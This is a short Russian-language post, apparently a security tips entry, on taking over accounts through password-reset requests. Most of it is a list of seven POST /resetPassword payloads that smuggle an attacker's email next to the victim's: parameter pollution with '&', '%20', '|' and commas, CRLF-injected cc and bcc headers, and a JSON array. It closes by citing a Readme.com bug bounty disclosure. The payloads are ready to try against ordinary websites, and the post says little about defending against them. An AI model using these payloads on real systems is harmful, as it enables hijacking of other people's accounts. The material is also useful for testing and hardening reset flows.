? Добавление электронного адреса в передаваемый параметр для захвата аккаунта

[Mutt]

Один из стандартных способов восстановления пароля - это отправка ссылки для сброса на адрес электронной почты, к которой привязан аккаунт.

Можно попробовать перехватить запрос и добавить туда ещё один email адрес. Таким образом, на некоторых сайтах мы можем добиться отправки письма с ссылкой для сброса на подконтрольный нам адрес почты:

Добавление адреса атакующего в параметр через «&»:

POST /resetPassword
[...]
email=victim@mail.com&email=hacker@mail.com

Добавление адреса атакующего в параметр через «%20»:

POST /resetPassword
[...]
email=victim@mail.com%20email=hacker@mail.com

Добавление адреса атакующего в параметр через «|»:

POST /resetPassword
[...]
email=victim@mail.com|email=hacker@mail.com

Добавление адреса атакующего в параметр через «cc»:

POST /resetPassword
[...]
email="victim@mail.com%0d%0acc:hacker@mail.com"

Добавление адреса атакующего в параметр через «bcc»:

POST /resetPassword
[...]
email="victim@mail.com%0d%0abcc:hacker@mail.com"

Добавление адреса атакующего в параметр через «,»:

POST /resetPassword
[...]
email="victim@mail.com",email="hacker@mail.com"

Добавление адреса атакующего в json массив:

POST /resetPassword
[...]
{"email":["victim@mail.com","hacker@mail.com"]}

Реальный пример такой уязвимости можно посмотреть по этой ссылке

Readme.com Account Takeover #BugBounty #FullDisclosure

Hi Everyone,

medium.com